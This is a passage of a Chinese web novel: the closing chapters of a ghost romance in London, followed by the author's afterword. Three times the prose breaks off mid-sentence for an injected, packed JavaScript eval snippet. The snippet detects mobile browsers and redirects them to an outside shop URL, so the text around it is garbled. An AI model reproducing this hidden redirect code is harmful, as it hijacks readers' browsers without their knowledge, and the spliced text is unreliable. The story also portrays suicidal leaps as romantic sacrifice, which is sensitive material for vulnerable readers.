Dariya知道秋景翳所指是什么,那场纠缠她多年的噩梦,她没放弃生的希望是因为身边有责任,她想重回正轨是因为希望自己不要成为光里的阴暗,她叹到:“明明什么都知道,怎么舍得一走了之呢?” 至于那个盒子,里面是一把钥匙和一张便签,用秋景翳平常在Dariya面前说话的那种调调写着:到时候你就知道了~ 钥匙是银行保险柜的钥匙,那天秋景翳去律所是为了确认遗嘱,到底有个会赚钱的脑子,虽然不是一半花一半扔也用不完的钱,但绝对够在伦敦过得很舒服,她把所有的财产整理好都留给了Dariya,所有的细节都写在了一封定时邮件里。 听了Dariya的告知,正在去机场路上的秋晨不得不迅速做了个抉择,秋宇炀那边有警察有高管有的是人盯着操心,他十多个小时飞回去不知道路上会发生什么,回去也是做善后处理稳住局面,可以等,于是他让司机折回,先解决更近的这个问题,谁都不知道秋景翳会去哪里,主要是根据这么多年的日常跟踪,秋晨发现她并没有哪里能去或是想 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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公墓占地面积很大,分了好几个区,不似国内墓园那种成排成列,海格特更像是个充满历史遗迹的公园,石雕森林融合在一起,混乱无序中又能看到庄重,随处可见的墓碑和棺椁有新有旧,许多早已长满青苔风化剥落,在渐暗的天色里曼出了带着淡腥味薄雾,有种吸血鬼世界的即视感,不怪当年吸血鬼文学盛行的时候,许多影视剧都选择在这里取景。 没有坐标找起来还是有些困难的,秋景翳走了小半个小时才最终停在了一棵大树旁,离她半步远的地方趴着一个翘着脚看书的小女孩——当然是石头雕的墓碑,不似那些杂草丛生的墓碑,这块显然是定期清理过的,但还是难免青苔的绿渗进去留下时间不可磨灭的痕迹,小女孩的左脚脚踝缠着条泛白的木色藤蔓,是从旁边的大树上垂下来的,看其他藤条的非自然截断,这唯一一根应该是故意被保留下来的。 左脚,正是程嘉曦截肢的那条腿,秋景翳把花放下腹诽到:“他还真是到死也不愿意放过你”,她也是因为最近调查才顺带着第一知道了程嘉曦被葬在这里,当时也没想过要来,只是有些讽刺地想到秋宇炀绝对没少费功夫,这里的墓地贵就不说了,还因为数量十分有限所以购买要求苛刻,并不是单单有钱就能买到的。 程嘉曦和秋宇炀小时候某个假期在英国玩,年纪小好奇心重,程嘉曦因为“海格特吸血鬼”的传说非要去亲眼看看,吸血鬼当然是没看着,却看上了这块墓地,虽说当时也只是随口一说“这里好好看啊~我死了之后也埋在这好了”,还被秋宇炀弹了下额头让她不许胡说,但最终他还是为着这么一句可能早就被当事人忘干净的玩笑话这么做了。 那些年对秋宇炀来说是蜜里藏针,因为贪心不该挽留的美好,对程嘉曦来说就只有针日复一日的刺,放尽她的鲜血空留一具枯骨。 “好久不见”,秋景翳看着那个满是私心的“Mrs.YuyangQiu*”的刻纹停顿思忖片刻,用了个更合适的称呼,“程小姐。” 树干上一只正在四处张望的松鼠在突然出现的人声里落荒而逃,带起一阵枯叶摩擦的沙沙声,但很快便恢复寂静。 “十五年了…我快记不清你长什么样子了”,秋景翳还记得不久前的那晚,她给Dariya看了曾经照片,但记忆仍旧变得越来越模糊。 秋景翳觉得自己的心跳越来越轻盈,她抬头,目光没有焦点地落在远处,“今年冬天不会那么冷了。” “好眠。” “祝你,也祝我。” 23. 我信 秋晨到的时候,海格特公墓已经过了营业时间闭园了,他废了点时间和手段才被放进去。 在路上的时候他就接到电话说秋宇炀找到了,正在抢救,陈飞到底是个无视法纪的亡命徒,在涉黑家族里长大,耳濡目染,下手也是真真狠,秋宇炀身上满是受过折磨的痕迹,“作案工具”也没逃过… 亏得从秋景翳的动向里秋晨基本确定谁是凶手,不到一天就把人救了出来,就这样秋宇炀都已经命悬一线,再晚一点别说收尸,有没有尸可收都是个问题。 陈飞意识到自己最近糟心事太多一时疏忽着了别人的道的时候,已经被反压在地上拷得死死的了。 说实话,秋景翳整了这么一出,除去秋宇炀的部分,秋晨心里还是有些庆幸的,因为陈飞一直想从秋家的慈善事业里抠出些东西为己所用——不止一些,被野狗追着啃总是避免不了惹上一身骚,秋景翳捏着答案反推公式给检察院递了条铁证,扫了秋家门前招苍蝇的垃圾。 皮鞋磕在地上的声音吸引了秋景翳的目光,但也只是一瞬,她侧目瞥了一眼朝自己走过来的秋晨就收回了目光不再看他,冷冷地丢出一句:“还有心情在这闲逛呢。” 秋晨把手里的文件摔到秋景翳身上,对方没接,任由东西啪一声砸在地上吹飞几片枯叶,“借刀杀人玩得挺顺手啊?” 秋景翳的目光漫不经心地扫过程嘉曦的墓碑,带着嘲讽与戏谑最终落在秋晨脸上,平静到:“惊讶什么,这不是跟你学的吗?” 秋晨读出了这句话外音,脸色一阵青紫,一时间憋不出一句反驳的话,“你...” 秋景翳没搭理,她勉为其难地低头粗略看了一眼陈飞的犯罪现场照,她本打算要是火不够大就添继续填柴,让这把火把垃圾都烧成灰烬,没想到竟然出乎意料的顺利,这还真是多行不义必自毙咯? “我以为会是意外身亡呢,看来...给别人养儿子这种事是真挺让人生气的”,她又对不甚慌乱还有心思跑来和自己对峙的秋晨评价到:“好歹是亲爹呢,除了夸我你就没什么别的感想了?哈,血缘还真是神奇呢,一家子没心肝的东西。” 这条没心肝的血缘链条上有秋宇炀和秋晨,也有秋景翳自己,当然还有程嘉曦,秋景翳的想法正不受控制的往最阴暗的尖角里钻。 秋晨想开口驳斥,却因为胸口的一阵绞痛,只发出一声闷哼,秋景翳挑了挑眉心想自己刚觉得舒服了秋晨就那么难受,这诅咒还有反噬呢,真活该,她看着秋晨咬牙有些扭曲的表情,有些幸灾乐祸到:“他快不行了。” 远在国内的医院抢救室里,秋宇炀的心跳又一次骤停。 秋晨缓过这口气一把抓住秋景翳的手腕带着怒意质问到:“你是真不想活了?” “我?”秋景翳的神情因为不知道该做出什么表情所以显得十分古怪,“我不想活了?哈哈哈哈哈哈,你是在讲冷笑话吗?” 秋晨忽然觉得公墓的气温骤降至冰点,阴冷激得他寒毛直竖。 “我早死了,拜谁所赐,啊?”讥讽的语气彻底变成了阴鸷,“少在这猫哭耗子。” 秋晨加重手上的力气,指间白玉般的手腕被捏出了淤血,“你就对我这么放心?偏要跟我对着干,你就不怕我生气?然后把气撒在Dariya…” 秋景翳的脸上经常能看到丰富的情绪,只有生气几乎从不外露,而此刻她的脸上终于有了生动的愤怒,她急切地打断秋晨,“你别动她!” 秋晨把人拉得更近,“终于不淡定了?原来你有心啊?” 秋景翳试图拽出自己的手腕但失败了,“少说废话!我们之间的烂账你少把别人扯进来!” “这世上聪明的人比比皆是,投资却不是次次都有,只要钱到位offer随时都能撤回,把她赶回那个混乱的国家过猪狗不如的日子更是轻而易举”,经费对研究的重要性不用秋晨多解释,金主的话常常很有分量,Dariya在他面前无疑是小指拧不过大腿,“我费了那么大功夫把你留下,你的生死我说了算”,秋晨挑挑眉,在这场主动权的拉锯战里,优势方再一次互换,“至于Dariya,直接死和被折磨死你替她选?” “你他妈怎么不用你自己的命?你就比别人高贵么?失手杀人的明明是你却要别人偿命,你可真有脸啊?”想起那天咖啡店秋晨和Dariya之间她只听了一半的对话,秋景翳咬牙切齿的同时伸手抹向秋晨的脖子,可这一下并未造成任何伤害而是径直穿过了秋晨的身体。 对于秋景翳的失手,秋晨眼神里的诧异一晃而过,“我不想,也不能,只有她可以,你不得不承认爱是这世上最自由、扭曲却坚不可摧的束缚,可你我之间没这回事”,秋景翳的灵魂已经被诅咒过一次就无法再来第二次,除非有人献祭,献祭和诅咒本质上就不同,“你想当个正常人过正常的生活也是要代价的,你遇到Dariya真挺幸运,但她遇到你真是不幸,你看,又是一个因你而不幸的人,你说你是不是个丧门星啊?” 秋晨毫不留情地捅着刀子,他就是要让秋景翳知道是因为她贪恋Dariya身上那些她从未拥有过的感情所以造成了对方如今的悲惨处境。 秋景翳红着眼睛阴沉着脸,带着压抑不住的怒意说:“放手!” 就在秋晨想去衣服口袋里掏东西的时候,突然又一阵心绞痛,他空闲的那只手下意识紧紧捂住胸口,一声闷哼后唇角溢出来不及吞咽的血。 秋景翳则恰恰相反,有一种轻快的飘飘然的即将魂飞魄散的感觉,这是她想要的结果但不是现在,她不敢想秋晨会对Dariya发什么疯,她需要给Dariya留下一个保障,但眼下她必须得挣脱秋晨的禁锢。 电光石火间思绪串联,秋景翳意识到她不能主动碰到秋晨,但秋晨却可以随意对待她,大概是诅咒背后的什么玄乎逻辑,秋晨唇间滴落的殷红让她想起女巫说秋晨当初用了自己的血,她在这短暂的一瞬间掂量了一下用秋晨的血饮鸩止渴拖延一点时间的可能性,并作出了决定。 “我艹,狗啊你!”秋晨结结实实挨了秋景翳的一口咬,疼痛让大脑支配他不得不甩开手。 秋景翳那双勾魂的眼睛燃烧着业火的底色却让人深感彻骨凄寒,果然他主动贴上来的地方就能被自己伤到,她舔干净嘴唇上的血渍,松弛的感觉一去不返,取而代之的是曾经紧缠心脏的细丝变成无数尖刺捅穿她的五脏六腑,除了尖锐的疼痛还有难以承受的沉重与压抑,“你给我...有多远...死多远”,每个字都在颤抖的气息中吐得十分艰难。 很难受,但至少有用,即便肝肠寸断,秋景翳也想再撑久一点。 秋晨看着秋景翳在自己面前没了踪影,当即一个电话打出去,心里还不忘吐槽一句‘难怪看不住你’。 “别问那么多!现在立刻出门!楼下有人接你。” 寥寥两句话Dariya便断定秋景翳出事了,她才要转身去拿外套就撞进了一个怀抱里。 “别去!” Dariya从未见过秋景翳这样慌乱,她的心在突然猛跳之后坠入冰窟,因为秋景翳紧紧拥着她,在哽咽,在泣不成声。 “别去找他,听话...我求你…别走...别走好不好...” Dariya顺势抱住秋景翳,不停地用手顺着清瘦的肩背轻抚,“小秋…” “他威胁你是不是?他威胁你是不是?有办法的,会有办法的,你让我想想,让我想想,我能让他不针对你的,我能的,我现在冷静不下来,你等等,你等一等好不好?我那时候一个人...真的很害怕,我怕我死在那个血房子里也不会有人在意,更没有人会记得我来过这世上,我以为这么多年过去了我已经看开了,可是没有…”秋景翳语无伦次,越说声音越小,委屈越来越浓。 “我在意!我记得!” “所以你才不能...”秋景翳在混乱的大脑和逐渐崩塌的意识里随意抓了一个新的角度,“不是,你怎么那么傻,你相信他说的话?你相信一个人能把命续在另一个人身上?你好好想想,你觉得这种事合理吗?你不要一时冲动昏了头啊!” Dariya长长叹了一口气,“小秋…没有人逼我,是我想让你好好活着,合不合理…试一试总比直接放弃的好”,她想,万一呢 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904735|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?现在的秋景翳的存在本身就已经突破常理了,“你的人生才刚刚开始,你有那么多想做的事还没做到…”你失去了这么多东西,你还这么年轻,你得到的幸福那么少,你不应该匆匆来这个世界看了一眼它的阴暗面就离开,好不容易捂化了的一颗心,要真正地去感受一下它鲜活的跳动。 “你不也是?”没等后面这些话说出口,秋景翳就打断了,“你别以为我不知道你一直有一了百了的想法,光是嘴上说的好听,说要重新开始,其实心里早就已经放弃了。” Dariya卡壳了,她的求生欲不扎根于心而是浮于表面,所以当初她留下Jasmine除了于心不忍也是潜意识为了自己活下去找的借口,后来遇到秋景翳,喜欢之余又生理本能地庆幸自己又被从坠落边沿往后拉了一把,然而欣欣向荣的假象下是早已腐烂无可救药的枯萎,没有生机,她的小秋年纪轻轻看事情太一针见血。 秋景翳又接着说:“不要这样…没什么过不去的,我不要你为我去死,也不想领你的这份情,该我的就是我的,我受着就是了,可你想想Jasmine,她还不到五岁不能没有妈妈啊。” “你知道…其实…不是所有的孩子都是带着无条件的爱出生的”,Dariya把自己藏得最深的秘密剖出来,“之前没告诉你是因为我怕你要是知道我的想法后讨厌我,而且我也怕它压过我的理智所以我想藏起来,我对Jasmine,责任要远大于爱,我愿意倾尽全力给她我能给的一切,但我毕竟只是个有私心的普通人,我知道这么做对她不公平,但她会因此有更好的生活,而我…也有对我而言更重要的选择。” “我不会讨厌你,我怎么可能讨厌你…我一直都希望你心里更重要的选择是你自己”,秋景翳忽然支撑不住,身子一软半跪在地上,身体被一股不容反抗的力量拖进地狱的同时又被另一股力量生拉硬拽着血肉,像是要把她生生撕碎。 “你怎么了?哪里痛?哪里难受?”Dariya看着秋景翳惨白到发灰的脸色惊呼到。 这样的折磨倒是让秋景翳忽然清醒,她抓住Dariya的手,“结婚,对!和我结婚Dariya,明天一早就去登记处签署法律声明*,剩下的…剩下的秋晨会处理,他不处理就要给自己惹上一身说不清的麻烦…这样你就能拿到身份…” 秋景翳不知道自己还能撑多久,但到明天早上应该不成问题,至于剩下的28天“givingnotice”*熬不过去也没关,做过的事都会留下痕迹,例如她的死亡证明,遗体,身份…始作俑者合该解决这些麻烦,只要秋景翳挑了这个头,他就不能轻易在Dariya的居留权上动手脚,她再故意留下点破绽,回旋镖很容易镖回他头上。 Dariya低头抿着嘴,过了一会,她直勾勾地看向秋景翳在等待回复的眼睛,十分认真且郑重地问:“小秋,你喜欢我吗?” “喜欢!喜欢的!我...我爱你”,秋景翳答得毫不犹豫,“我说过我心理有问题,所以你不相信我爱你,那你教教我好不好?不要走,教教我”,她的语气软下来带着恳求。 “我信”,Dariya笑了一下,这个笑里杂糅着爱意,欣喜,欣慰,释然,不舍,“小秋,我爱你,我很爱很爱你…”你不知道我有多宝贝这份爱,即便我染上污秽,它也永远干净纯粹。 心意相通的瞬间犹如回路闭合时强大的电流擦出四溅的火花,秋景翳发了疯似的吻上Dariya桃红的嘴唇,她连这个人的呼吸都想据为己有。 漫长的吻在秋景翳的脖子被套上一个冰凉的东西时结束,她的不解只持续了几秒便明白了这条项链的作用,强撑着精神,秋景翳用最后一丝力气向Dariya撒娇,“Dariya…我…我难受…哪里都疼,你陪陪我,好不好?哪里都别去...” Dariya看着逐渐抬不起眼皮的秋景翳,疼惜也惋惜地说:“乖,睡一觉吧…” 希望你下次睁开眼睛时,看到的是未来。 秋景翳的意识在额心缠绵的温热里朝深不见底的地方陷落下去,这片岑寂的外面是一句她不曾听见的“我愿意”。 24. 曙光 “不要!” 秋景翳猝然睁开眼睛,呼吸急促,黑灯瞎火的房间让她恍惚自己还没从那个噩梦里抽离出来。 梦里倒在自己面前的Dariya满身是血,连周围的地上都蔓延着鲜红的液体,被铁锈的咸腥包裹着的人睁着眼睛却没了呼吸,秋景翳第一次见到那双碧瞳的时候便觉得温柔如水这个词不再是意识流的描写而是被彻底具像化,而现在那些水光尽数干涸只剩下一对干巴巴的玻璃球,那张脸在最后一刻的表情定格在一片空白,秋景翳挖空心思想要从中解读出些什么,可什么都没有,什么都没留下,她走得如此决绝,如此没有留恋。 清醒过来的秋景翳发现这个诡异的项链不只是让她昏迷,还让她暂时变成了“人”,至于为什么是暂时,是因为要把她拽进万劫不复的力量并没有消失,也就意味着无论秋晨想做什么都没成功,也就是说Dariya应该还好好的,当然也有另一种更坏的可能秋景翳并不愿意往那方面去想。 秋景翳振作起精神开始思考要去哪里找人,这可真是大海捞针了,还有时间限制,雪上加霜的是这个限制还是个未知数,是悬在头顶不知道什么时候会爆的炸弹,“啧,要是有定位就好了,定位…定位器!” 她想起Jasmine转来伦敦上学之后,出于安全考虑Dariya给她买了块带定位的手表,一通折腾之后,秋景翳在地图上看到了那个移动的小红点,已经快到北边了,她在合理推测了他们此行的终点和目的后心下一凛,落后六七个小时车程的当务之急就是先解决掉这个死活摘不掉的项链。 这东西邪乎的很,明明足够细却用钳子都弄不断,那便只有用更粗暴的办法取下来了,风筝线能割开皮肉勒断脖子,这个链子也就差不多粗细,但生拽和用刀都不现实,至少人只凭自己做不到,“外力,速度…”已经死了作不死,秋景翳出门钻进一辆出租。 凌晨跑夜车的司机被这张没有活气的惨白的脸,还有跟秋景翳一起钻进来的阴仄仄的气息吓出一身冷汗,说话声音都哆嗦了,像个齿轮没抹油的机器般说:“晚上好啊您要去哪?” “TheShard.” 碎片大晒(TheShard)位于伦敦桥西南侧,高309.6米,是英国最高的建筑,娱乐探险者青睐的游乐场,城市探险Base跳伞和攀爬等等。 秋景翳正站在楼顶,狂风吹着她腰间的衣摆,喧嚣的城市只剩风鸣的时候就显得干净多了,她看着脚下的泰晤士河,其实几乎看不到,深色的河水在不夜的伦敦城里暗淡无光,建筑里是黄色的照明,建筑外则是红色的警示,高处俯瞰时,城市像在烈火中炙烤的家畜。 从露台边缘往前迈出一步,渺小的身影顷刻间便被火海吞噬,只剩下一根没人注意的被细绳悬吊在半空的项链,也许哪天会被玻璃外墙清洗工发现,也许不会,更没人会知道那根绳子的长度是经过合理计算的。 马不停蹄开了七个小时后,秋晨和Dariya终于抵达了Dariya曾来过两次的北部小城,车子只能停在路边,秋晨看到崖边的长椅冷不丁对Dariya念叨了一句:“我可以把你的名字也刻上去。” Dariya愣了一下,随机反应过来,“那个长椅是你捐给小秋的?*” 秋晨没搭话,沉默地爬上悬崖,这是出事之后他第一次亲自回到案发现场,他在离崖边很远的地方就停下了,整个过程里都没什么存在感,不知道在想什么,孔助理带着可靠的人在地上挖挖找找,又一次在非工作时间被从家拎出来干活的女巫正在对Dariya鼓捣些奇奇怪怪得东西。 孔助理抱了个盒子想要给自家老板交差,被秋晨打了个拒绝的手势,于是只能放在长椅上空着双手过来交差,“秋总,时间久了不好找耽误了点时间,那个我确定就是…秋小姐…” 秋晨不用验证,他信任孔助理,而且当年是孔助理把这位让他一肚子好奇却不能问的秋小姐埋在这的,“辛苦,你们下去等吧。” “好的。” “等一下”,秋晨头也不回对已经要下去的孔助理说:“你先带那小孩去酒店,别在车里睡。” “好的”,孔助理对秋小姐身上的谜团更好奇了,转身的时候突然一阵阴风吹得他汗毛倒立从尾椎麻到头发丝,他突然想明白了一点,秘密之所以是秘密,就是因为被公开之后有人要因此倒霉,不确定倒霉的是谁所以还是离远一点,越远越好,孔助理一步三个台阶溜得飞快。 “寻宝呢?” 秋景翳冷戾的声音从秋晨身后飘过来,他不禁皱眉,这确实是意料之外的情况,“你怎么…”他侧脸看到了秋景翳脖子上还没消失完全的一圈红印,以及领口的血迹,到嘴边的话硬生生随着口水咽了回去,“你tm怎么这么疯?” “我们家的疯病难道不是遗传的吗”,秋景翳冷笑到:“你该庆幸我碰不到你,不然我真的会拧掉你的脑袋”,说着她就要去Dariya身边。 “站住!”秋晨一把捞了个空。 Dariya正在长椅边轻轻抚弄着那枚小小的骨灰盒,后面的动静又被海浪和风声盖得严实,是女巫为了不被打扰往地上撒了一圈药水后秋景翳被挡在外面痛呼一声的转瞬,她才发现了人,“你怎么…”她看到了秋景翳脖子上的痕迹,“你怎么???你疯了???” “我是疯了,我醒来之后发现你不在我真他妈疯了,前一秒才刚说完爱我,后一秒就连命也不要了!你非要这么戳我的心吗?” Dariya用极尽温柔的语气哄到:“小秋,我是真的真的想让你活下去,想让你去做你想做的事,这是我的心愿啊…我知道你从没真正接受过死亡这件事,但我不一样,我真真切切地接受过也渴望过死亡,甚至到现在都没改变,我比谁都清楚这想法不好,真的不好,可我走出不去了…所以我想推你一把…” 秋景翳听得头疼,她深吸一口气,“别做傻事,我真怕了,求你了好不好,你不知道,我是没得选,我真的不想失去理智伤害你,但你有得选啊,干嘛非要钻牛角尖呢?”她强忍着灼烧的剧痛伸出手,穿过只能防住自己的结界拉住Dariya的手,“你过来,就这一次,听我的话,到我这来。” “不…”看着那只快要变得透明甚至马上就要化为泡影的手,Dariya连呼吸都像在往肺里灌刀子,她一边闭着眼睛死咬嘴唇摇了摇头,一边抠开秋景翳的手指,在分开时小声说了句“对不起…” 女巫在这时做好了所有的准备,只差临门一脚——献祭者的血和逝者的骨灰,Dariya毫不犹豫抄起匕首划伤自己,转眼手边的骨灰盒就已经不翼而飞,她猛地抬头,撞进了那双此刻比草叶上的晨露还要柔软的眼睛里, 骨灰盒枕在秋景翳的臂弯里,她站在曾经坠落的崖边,依旧狂浪的海风都快将她的身影吹散了,强行冲破阻拦似乎耗尽了她最后一丝力气,Dariya的急切她已经无力回应,只能在嘴边勾起个看着有些敷衍的浅笑,她紧邻崖边的后退让Dariya不敢贸然靠近。 秋景翳垂眸看向手里的盒子,眼神里藏着数不清的情绪,本以为亲眼看到自己“尸体”的时候应该会有很多想法,但她的脑袋里只冒出了一个感触——人的骨灰比想象中要轻。 看到趁自己失神借机靠近的Dariya,退无可退的秋景翳打开盖子抓起一把撒向大海以示威胁,她想缓一缓,缓到能发出声音, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16904736|192381||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她还想再和Dariya多说几句话,可等到灵魂都快散了声音也没能恢复。 不可能事事都如愿,她知道,于是她笑着对Dariya做了个口型——活下去,然后挥手把骨灰盒扔向大海,扔向这个尘世的自由。 “不要!” 那声音还未落定,秋景翳就看见一个身影从眼前窜过,带出了她失明右眼的一滴血泪,她愕然转头,只见Dariya抱着自己的骨灰盒,打开,将血淋淋的手伸进去,坠入深蓝。 恐高的人奔向悬崖时没有迟疑没有畏惧只有满心期待,期待用自己的终结为爱人换一个新的开始。 秋景翳哪怕已经力不从心,也还是跟着跳了下去,明知不会有谁听到她的祷告,但她还是一遍遍在心里说:“等等,拜托了,再等一下,至少让我把她送回岸上,不要让她睡在冰冷的海水里。” 白浪又一次拍打礁石,秋景翳的心脏猛烈收缩,她久违地感受到了如此鲜活的跳动,然后,她的右眼逐渐恢复清明,脖子上的旧伤也开始愈合。 一根血红的丝线从Dariya右手中指的第一个指节连接到秋景翳的胸口,温柔地缠绕住她心脏,将汹涌的生命力灌注进去。 这一刻,流浪的灵魂有了归宿。 Dariya并没有如期迎来死亡,惊喜在秋景翳的脑海中翻搅出一段平平无奇的记忆—— 秋景翳中枪住院转危为安后,她靠在病床上悠闲地等着喂到嘴边的苹果,忽然看到Dariya的手指晃过一点扎眼的红,不禁问到:“你的手破了吗?” “没有啊。” “喏,这里”,秋景翳指指自己的手指又指指Dariya。 “诶?是一颗红痣,什么时候长得?好像前几天还没有呢…” 原来是踩在生与死的灰线上自愿献出的生命将一个活人与一只鬼魂紧紧绑定,若一方灭亡则另一方陪葬,这是诅咒亦是祝福,哪怕在违背常理后寿终正寝的概率无限趋近于零。 即将触底的前一秒,秋景翳终于将Dariya紧紧揽入怀中,“不怕,我抓到你了。” 在长夜将尽的最后一刻,宁静并没有再一次被血腥打破。 深蓝开始褪色,在那张没有署名只刻了日期的长椅上,秋景翳对坐在身边劫后余生的Dariya说:“别再放开我,也别再放开你自己。” Dariya笑了笑并没有直接回答,她牵过秋景翳撑在椅子上的手,动作自然地捏了捏修长骨感的无名指,开口时她试图将脸缩进围巾里藏住泛起的红晕,她用气声一字一顿地说:“我,愿,意。” 秋景翳吻上Dariya被海风吹凉的嘴唇,两颗心脏正以同样的频率跳动,她知道Dariya允许了她成为自己留在这世间唯一的保险。 当没有转圜的终结降临的那一天,共享过的体温和心跳会让那条通往深不见底的黑暗并且不能回头的路上遍开繁花。 天将晓时, 太阳停在地平线下6度, 粉蓝色的曙暮光*照亮低层大气与地球表面, 在暗紫色夜空的笼罩下, 金辉探出地面的前一秒, 我的救赎怜悯了我, 我抓住了我的救赎。 —全文完— 能够独立发育离开母体的一刻起,每个人的存在都是有意义的,至少你要自己坚信这一点,你独一无二,你无比重要。 05/02/2024,King’sCross,London 刚好在国王十字车站等火车的时候写完这个小短篇,快过年了,阴差阳错又回不了国要一个人在外面过了QAQ,给大家拜个早年叭~春节快乐!